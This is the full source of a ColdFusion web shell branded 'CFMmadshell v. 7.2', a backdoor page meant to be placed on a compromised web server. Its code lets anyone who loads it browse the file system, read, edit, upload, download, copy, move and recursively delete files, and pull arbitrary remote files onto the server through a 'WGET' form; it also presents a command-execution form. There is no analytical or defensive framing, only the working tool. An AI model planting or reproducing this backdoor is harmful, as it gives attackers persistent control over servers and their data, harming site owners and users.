| 1 | <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>localhost - CFMmadshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href=""><font face="Verdana" size="5"><b>CFM root</b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b> |
|---|
| 2 | |
|---|
| 3 | <cfif IsDefined("form.d")><cfset path="#Replace(Replace(Replace(form.d,"%3A",":","all"),"%5C","\","all"),"%2F","/","all")#"><cfelse><cfset path=GetBaseTemplatePath()></cfif> |
|---|
| 4 | <cfset st=1> |
|---|
| 5 | |
|---|
| 6 | <cfset delim="/"> |
|---|
| 7 | |
|---|
| 8 | <cfset cur_path=mid(path,1,st-1)&delim> |
|---|
| 9 | <cfset scr_path = ""> |
|---|
| 10 | <cfif st neq 0><cfset scr_path = scr_path & "<a href=""##"" onclick=""document.todo.act.value='ls';document.todo.d.value='#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#';document.todo.sort.value='0a';document.todo.submit();""><b>#mid(path,1,st-1)##delim#</b></a>"></cfif> |
|---|
| 11 | <cfloop condition = "st neq 0"> |
|---|
| 12 | <cfset st_old=st> |
|---|
| 13 | <cfset st=Find(delim, path ,st+1)> |
|---|
| 14 | <cfif st neq 0> |
|---|
| 15 | <cfset cur_path=cur_path&mid(path,st_old+1,st-st_old-1)&delim> |
|---|
| 16 | <cfset scr_path = scr_path & "<a href=""##"" onclick=""document.todo.act.value='ls';document.todo.d.value='#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#';document.todo.sort.value='0a';document.todo.submit();""><b>#mid(path,st_old+1,st-st_old-1)##delim#</b></a>"></cfif> |
|---|
| 17 | </cfloop> |
|---|
| 18 | <cfoutput>#scr_path#</cfoutput> |
|---|
| 19 | |
|---|
| 20 | </b><br><a href="#"><b><hr>HOME</b></a> <a href="#" onclick="document.todo.act.value='sql';document.todo.d.value='z%3A%5Chome%5Clocalhost%5Cwww%5C';document.todo.submit();"><b>SQL</b></a> </p></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><center><b>Owned by root</b></center></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name="ls_form"><input type=hidden name=act value=ls><input type=hidden name=d value=z:\home\localhost\www\><tr> |
|---|
| 21 | |
|---|
| 22 | <cfif IsDefined("form.act")> |
|---|
| 23 | <cfset act=form.act> |
|---|
| 24 | <cfelse> |
|---|
| 25 | <cfset act="ls"> |
|---|
| 26 | </cfif> |
|---|
| 27 | |
|---|
| 28 | <cfif act eq "mkdir"> |
|---|
| 29 | <cfdirectory action = "create" directory = "#form.mkdir#" > |
|---|
| 30 | <cfset act="ls"> |
|---|
| 31 | </cfif> |
|---|
| 32 | |
|---|
| 33 | <cfif act eq "mkfile"> |
|---|
| 34 | <cffile action="Write" file="#form.mkfile#" output="" addNewLine="no"> |
|---|
| 35 | |
|---|
| 36 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><b>Viewing file: <cfoutput>#form.mkfile#</cfoutput> </b><br>Select action/file-type:<br> |
|---|
| 37 | <a href="#" onclick="document.todo.act.value='f';document.todo.f.value='<cfoutput>#Replace(Replace(Replace(form.mkfile,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.ft.value='txt';document.todo.d.value='<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.submit();"><b><u>TXT</u></b></a> | <a href="#" onclick="document.todo.act.value='f';document.todo.f.value='<cfoutput>#Replace(Replace(Replace(form.mkfile,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.ft.value='edit';document.todo.d.value='<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.submit();"><b><u>EDIT</u></b></a> |<hr size="1" noshade></form><form method="POST"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='<cfoutput>#Replace(Replace(Replace(form.mkfile,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>'><input type=submit name=submit value="Save"> <input type="reset" value="Reset"><br><textarea name="edit_text" cols="122" rows="10"></textarea></form></td></tr></table> |
|---|
| 38 | |
|---|
| 39 | </cfif> |
|---|
| 40 | |
|---|
| 41 | <cfif act eq "f"> |
|---|
| 42 | <cfif IsDefined("form.edit_text")> |
|---|
| 43 | <cffile action="Write" file="#Replace(Replace(Replace(form.f,"%3A",":","all"),"%5C","\","all"),"%2F","/","all")#" output="#form.edit_text#" addNewLine="no"> |
|---|
| 44 | </cfif> |
|---|
| 45 | |
|---|
| 46 | <cfif form.ft eq "edit"> |
|---|
| 47 | |
|---|
| 48 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><b>Viewing file: <cfoutput>#Replace(Replace(Replace(form.f,"%3A",":","all"),"%5C","\","all"),"%2F","/","all")#</cfoutput> </b><br>Select action/file-type:<br> |
|---|
| 49 | <a href="#" onclick="document.todo.act.value='f';document.todo.f.value='<cfoutput>#Replace(Replace(Replace(form.f,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.ft.value='txt';document.todo.d.value='<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.submit();"><b><u>TXT</u></b></a> | <a href="#" onclick="document.todo.act.value='f';document.todo.f.value='<cfoutput>#Replace(Replace(Replace(form.f,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.ft.value='edit';document.todo.d.value='<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.submit();"><b><u>EDIT</u></b></a> |<hr size="1" noshade></form><cfif IsDefined("form.edit_text")><b>Saved!</b></cfif><form method="POST"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='<cfoutput>#Replace(Replace(Replace(form.f,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>'><input type=submit name=submit value="Save"> <input type="reset" value="Reset"><br><textarea name="edit_text" cols="122" rows="10"><cffile action="Read" file="#Replace(Replace(Replace(form.f,"%3A",":","all"),"%5C","\","all"),"%2F","/","all")#" variable="readcontent"><cfoutput>#Replace(Replace(Replace(readcontent,"&","&","all"),"<","<","all"),">",">","all")#</cfoutput></textarea></form></td></tr></table> |
|---|
| 50 | |
|---|
| 51 | <cfelseif form.ft eq "txt"> |
|---|
| 52 | |
|---|
| 53 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><b>Viewing file: <cfoutput>#Replace(Replace(Replace(form.f,"%3A",":","all"),"%5C","\","all"),"%2F","/","all")#</cfoutput> </b><br>Select action/file-type:<br> |
|---|
| 54 | <a href="#" onclick="document.todo.act.value='f';document.todo.f.value='<cfoutput>#Replace(Replace(Replace(form.f,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.ft.value='txt';document.todo.d.value='<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.submit();"><b><u>TXT</u></b></a> | <a href="#" onclick="document.todo.act.value='f';document.todo.f.value='<cfoutput>#Replace(Replace(Replace(form.f,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.ft.value='edit';document.todo.d.value='<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>';document.todo.submit();"><b><u>EDIT</u></b></a> |<hr size="1" noshade></form> |
|---|
| 55 | |
|---|
| 56 | </tr></table><div style="border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: #c0c0c0;"><code><span style="color: #1300FF"> |
|---|
| 57 | |
|---|
| 58 | <cffile action="Read" file="#Replace(Replace(Replace(form.f,"%3A",":","all"),"%5C","\","all"),"%2F","/","all")#" variable="readcontent"><cfoutput><pre>#Replace(Replace(Replace(readcontent,"&","&","all"),"<","<","all"),">",">","all")#</pre></cfoutput> |
|---|
| 59 | |
|---|
| 60 | </span></code></div> |
|---|
| 61 | |
|---|
| 62 | </cfif> |
|---|
| 63 | </cfif> |
|---|
| 64 | |
|---|
| 65 | |
|---|
| 66 | <cfif act eq "search"> |
|---|
| 67 | |
|---|
| 68 | </tr></table><div style="border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: #c0c0c0;"><code><span style="color: #1300FF"> |
|---|
| 69 | |
|---|
| 70 | <cfset res=srch("#cur_path#","#form.search_name#")> |
|---|
| 71 | |
|---|
| 72 | </span></code></div> |
|---|
| 73 | |
|---|
| 74 | </cfif> |
|---|
| 75 | |
|---|
| 76 | |
|---|
| 77 | <cffunction name="srch"> |
|---|
| 78 | <cfargument name="srch_path" type="string" required="true"> |
|---|
| 79 | <cfargument name="srch_text" type="string" required="true"> |
|---|
| 80 | <cfargument name="dirQuery" type="any" required="false" default=""> |
|---|
| 81 | |
|---|
| 82 | <cfdirectory directory="#srch_path#" name="dirQuery" action="LIST"> |
|---|
| 83 | <cfloop query="dirQuery"> |
|---|
| 84 | |
|---|
| 85 | <cfif FindNoCase("#srch_text#","#dirQuery.name#") neq 0> |
|---|
| 86 | <cfoutput>#Replace("#srch_path#","#delim##delim#","#delim#")##delim##dirQuery.name#<br></cfoutput> |
|---|
| 87 | </cfif> |
|---|
| 88 | |
|---|
| 89 | <cfif DirectoryExists("#srch_path##delim##dirQuery.name#")> |
|---|
| 90 | <cfset res=srch("#srch_path##delim##dirQuery.name#","#srch_text#")> |
|---|
| 91 | </cfif> |
|---|
| 92 | |
|---|
| 93 | </cfloop> |
|---|
| 94 | </cffunction> |
|---|
| 95 | |
|---|
| 96 | |
|---|
| 97 | |
|---|
| 98 | |
|---|
| 99 | |
|---|
| 100 | <cfif act eq "upload"> |
|---|
| 101 | <cffile action = "upload" fileField = "uploadfile" destination = "#cur_path#"> |
|---|
| 102 | <cfset act="ls"> |
|---|
| 103 | <td><font color=green><b><l>Upload Succesfull!</l></b></font><br><br></td><td></td></tr> |
|---|
| 104 | </cfif> |
|---|
| 105 | |
|---|
| 106 | <cfif act eq "del"> |
|---|
| 107 | <cfif FileExists(#Replace(Replace(Replace(form.f,"%3A",":","all"),"%5C","\","all"),"%2F","/","all")#)> |
|---|
| 108 | <cffile action = "delete" file = "#Replace(Replace(Replace(form.f,"%3A",":","all"),"%5C","\","all"),"%2F","/","all")#"> |
|---|
| 109 | <cfelse> |
|---|
| 110 | <cfset res=del_fld("#Replace(Replace(Replace(form.f,"%3A",":","all"),"%5C","\","all"),"%2F","/","all")#")> |
|---|
| 111 | </cfif> |
|---|
| 112 | <cfset act="ls"> |
|---|
| 113 | </cfif> |
|---|
| 114 | |
|---|
| 115 | |
|---|
| 116 | <cffunction name="del_fld"> |
|---|
| 117 | <cfargument name="del_path" type="string" required="true"> |
|---|
| 118 | <cfargument name="dirQuery" type="any" required="false" default=""> |
|---|
| 119 | |
|---|
| 120 | <cfdirectory directory="#del_path#" name="dirQuery" action="LIST"> |
|---|
| 121 | <cfloop query="dirQuery"> |
|---|
| 122 | <cfif DirectoryExists("#del_path##delim##dirQuery.name##delim#")> |
|---|
| 123 | <cfset res=del_fld("#del_path##delim##dirQuery.name##delim#")> |
|---|
| 124 | <cfelseif FileExists("#del_path##delim##dirQuery.name#")> |
|---|
| 125 | <cffile action = "delete" file = "#del_path##delim##dirQuery.name#"> |
|---|
| 126 | </cfif> |
|---|
| 127 | </cfloop> |
|---|
| 128 | |
|---|
| 129 | <cfdirectory action = "delete" directory = "#del_path#"> |
|---|
| 130 | </cffunction> |
|---|
| 131 | |
|---|
| 132 | |
|---|
| 133 | |
|---|
| 134 | |
|---|
| 135 | <cfif act eq "down"> |
|---|
| 136 | <cfheader name="Content-disposition" value="attachment;filename=#GetFileFromPath(Replace(Replace(Replace(form.f,"%3A",":","all"),"%5C","\","all"),"%2F","/","all"))#"> |
|---|
| 137 | <cfcontent file="#Replace(Replace(Replace(form.f,"%3A",":","all"),"%5C","\","all"),"%2F","/","all")#"> |
|---|
| 138 | <cfabort> |
|---|
| 139 | </cfif> |
|---|
| 140 | |
|---|
| 141 | |
|---|
| 142 | <cfif act eq "cp_mv"> |
|---|
| 143 | <cfif FileExists("#form.src#")> |
|---|
| 144 | <cfif #form.cp_mv# eq "cp"> |
|---|
| 145 | <cffile action = "copy" source = "#form.src#" destination = "#form.dst#"> |
|---|
| 146 | <cfelseif #form.cp_mv# eq "mv"> |
|---|
| 147 | <cffile action = "move" source = "#form.src#" destination = "#form.dst#"> |
|---|
| 148 | </cfif> |
|---|
| 149 | <cfelseif DirectoryExists("#form.src#")> |
|---|
| 150 | <cfif #form.cp_mv# eq "cp"> |
|---|
| 151 | <cfset res=cp_fld("#form.src#","#form.dst#")> |
|---|
| 152 | <cfelseif #form.cp_mv# eq "mv"> |
|---|
| 153 | <cfdirectory action = "rename" directory = "#form.src#" newDirectory = "#form.dst#" > |
|---|
| 154 | </cfif> |
|---|
| 155 | </cfif> |
|---|
| 156 | <cfset act="ls"> |
|---|
| 157 | </cfif> |
|---|
| 158 | |
|---|
| 159 | |
|---|
| 160 | |
|---|
| 161 | <cffunction name="cp_fld"> |
|---|
| 162 | <cfargument name="src_fld" type="string" required="true"> |
|---|
| 163 | <cfargument name="dst_fld" type="string" required="true"> |
|---|
| 164 | <cfargument name="dirQuery" type="any" required="false" default=""> |
|---|
| 165 | |
|---|
| 166 | <cfdirectory directory="#src_fld#" name="dirQuery" action="LIST"> |
|---|
| 167 | <cfloop query="dirQuery"> |
|---|
| 168 | <cfif DirectoryExists("#src_fld##delim##dirQuery.name#")> |
|---|
| 169 | <cfdirectory action = "create" directory = "#dst_fld##delim##dirQuery.name#" > |
|---|
| 170 | <cfset res=cp_fld("#src_fld##delim##dirQuery.name#","#dst_fld##delim##dirQuery.name#")> |
|---|
| 171 | <cfelseif FileExists("#src_fld##delim##dirQuery.name#")> |
|---|
| 172 | <cffile action = "copy" source = "#src_fld##delim##dirQuery.name#" destination = "#dst_fld##delim##dirQuery.name#"> |
|---|
| 173 | </cfif> |
|---|
| 174 | </cfloop> |
|---|
| 175 | </cffunction> |
|---|
| 176 | |
|---|
| 177 | |
|---|
| 178 | |
|---|
| 179 | |
|---|
| 180 | <cfif act eq "wget"> |
|---|
| 181 | <cfhttp url="#form.url#" method="GET" getAsBinary = "yes" path="#cur_path#"/> |
|---|
| 182 | <cfset act="ls"> |
|---|
| 183 | </cfif> |
|---|
| 184 | |
|---|
| 185 | |
|---|
| 186 | |
|---|
| 187 | <cfif act eq "ls"> |
|---|
| 188 | |
|---|
| 189 | <td><b>Name</b><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='z%3A%5Chome%5Clocalhost%5Cwww%5C';document.todo.sort.value='0d;document.todo.submit();"></td> |
|---|
| 190 | <td><b>Size</b></td> |
|---|
| 191 | <td><b>Modify</b></td> |
|---|
| 192 | <td><b>Action</b></td> |
|---|
| 193 | </tr> |
|---|
| 194 | <tr> |
|---|
| 195 | <td><a href="#"> .</a></td> |
|---|
| 196 | <td>LINK</td> |
|---|
| 197 | <td>29.10.2008 15:09:51</td> |
|---|
| 198 | <td></td> |
|---|
| 199 | </tr> |
|---|
| 200 | <tr> |
|---|
| 201 | <td><a href="#"> ..</a></td> |
|---|
| 202 | <td>LINK</td> |
|---|
| 203 | <td>10.10.2008 14:36:25</td> |
|---|
| 204 | <td></td> |
|---|
| 205 | </tr> |
|---|
| 206 | |
|---|
| 207 | <CFDIRECTORY ACTION = "List" DIRECTORY = "#cur_path#" NAME = "QueryDir" SORT = "Type ASC"> |
|---|
| 208 | <CFOUTPUT QUERY="QueryDir"> |
|---|
| 209 | |
|---|
| 210 | <tr> |
|---|
| 211 | <td> |
|---|
| 212 | |
|---|
| 213 | <CFIF #Type# eq "DIR"> |
|---|
| 214 | <a href="##" onclick="document.todo.act.value='ls';document.todo.d.value='#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")##Name##Replace(Replace(delim,"/","%2F"),"\","%5C")#';document.todo.sort.value='0a';document.todo.submit();">[#Name#]</a></td> |
|---|
| 215 | <cfelse> |
|---|
| 216 | <a href="##" onclick="document.todo.act.value='f';document.todo.f.value='#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")##Name#';document.todo.ft.value='txt';document.todo.d.value='#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#';document.todo.sort.value='0a';document.todo.submit();">#Name#</a></td> |
|---|
| 217 | </cfif> |
|---|
| 218 | |
|---|
| 219 | |
|---|
| 220 | <td><CFIF #Type# eq "File"><CFIF ((#Size#/1048576) gte 1)>#Round(Size/1024/1024)#MB<CFELSEIF ((#Size#/1024) gte 1)>#Round(Size/1024)#KB<CFELSE>#Size#B</CFIF><CFELSE>DIR</CFIF></td> |
|---|
| 221 | <td>#Replace(Replace(DateLastModified,"{ts '",""),"'}","")#</td> |
|---|
| 222 | <td><a href="##" onclick="document.todo.act.value='del';document.todo.d.value='#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#';document.todo.f.value='<CFIF #Type# eq "DIR">#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")##Name##Replace(Replace(delim,"/","%2F"),"\","%5C")#<CFELSE>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")##Name#</CFIF>';document.todo.submit();"><font color=green><b>del</b></font></a> <CFIF #Type# eq "file"><a href="##" onclick="document.todo.act.value='down';document.todo.d.value='#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#';document.todo.f.value='#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")##Name#';document.todo.submit();"><b>down</b></a></CFIF> </td> |
|---|
| 223 | </tr> |
|---|
| 224 | |
|---|
| 225 | </CFOUTPUT> |
|---|
| 226 | |
|---|
| 227 | </table><hr size="1" noshade><p align="right"> |
|---|
| 228 | </p></form> |
|---|
| 229 | |
|---|
| 230 | </cfif> |
|---|
| 231 | |
|---|
| 232 | </td></tr></table> |
|---|
| 233 | <a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> |
|---|
| 234 | <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <b>Command execute</b> ::</b></p></td></tr> |
|---|
| 235 | <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>"><input type="text" name="cmd" size="50" value=""><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b> </b><form method="POST"><input type=hidden name=act value="cp_mv"><input type=hidden name="d" value="<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>"><b>SRC:</b><input type=text size="35" name="src" value="<cfoutput>#cur_path#</cfoutput>"> <b>DST:</b><input type=text size="35" name="dst" value="<cfoutput>#cur_path#</cfoutput>"> <select name="cp_mv"><option value="cp">Copy</option><option value="mv">Move</option></select> <input type=submit name=submit value="Execute"></form><br><form method="POST"><input type=hidden name=act value="wget"><input type=hidden name="d" value="<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>"><b>WGET: </b><input type=text size="80" name="url" value="http://"> <input type=submit name=submit value="Download"></form></td></tr></TABLE> |
|---|
| 236 | <br> |
|---|
| 237 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> |
|---|
| 238 | <tr> |
|---|
| 239 | <td width="50%" height="1" valign="top"><center><b>:: <b>Search</b> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>"><input type="text" name="search_name" size="29" value=".cfm"> <input type=submit name=submit value="Search"></form></center></p></td> |
|---|
| 240 | <td width="50%" height="1" valign="top"><center><b>:: <b>Upload</b> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="hidden" name="d" value="<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>"><input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"><br><font color=green>[ ok ]</font></form></center></td> |
|---|
| 241 | </tr> |
|---|
| 242 | </table> |
|---|
| 243 | <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>"><input type="text" name="mkdir" size="50" value="<cfoutput>#cur_path#</cfoutput>"> <input type=submit value="Create"><br><font color=green>[ ok ]</font></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>"><input type="text" name="mkfile" size="50" value="<cfoutput>#cur_path#</cfoutput>"><input type=hidden name="ft" value="crt"> <input type=submit value="Create"><br><font color=green>[ ok ]</font></form></center></td></tr></table> |
|---|
| 244 | <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<cfoutput>#cur_path#</cfoutput>"> <input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form method="POST""><input type=hidden name=act value="f"><input type=hidden name=ft value="edit"><input type=hidden name="d" value="<cfoutput>#Replace(Replace(Replace(cur_path,":","%3A","all"),"\","%5C","all"),"/","%2F","all")#</cfoutput>"><input type="text" name="f" size="50" value="<cfoutput>#cur_path#</cfoutput>"> <input type=submit value="Go"></form></center></td></tr></table> |
|---|
| 245 | <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td valign="top"><p align="center"><b>--[ CFMmadshell v. 7.2 | Generation time: 0.7139 ]--</b></td></tr></table> |
|---|
| 246 | </body></html> |
|---|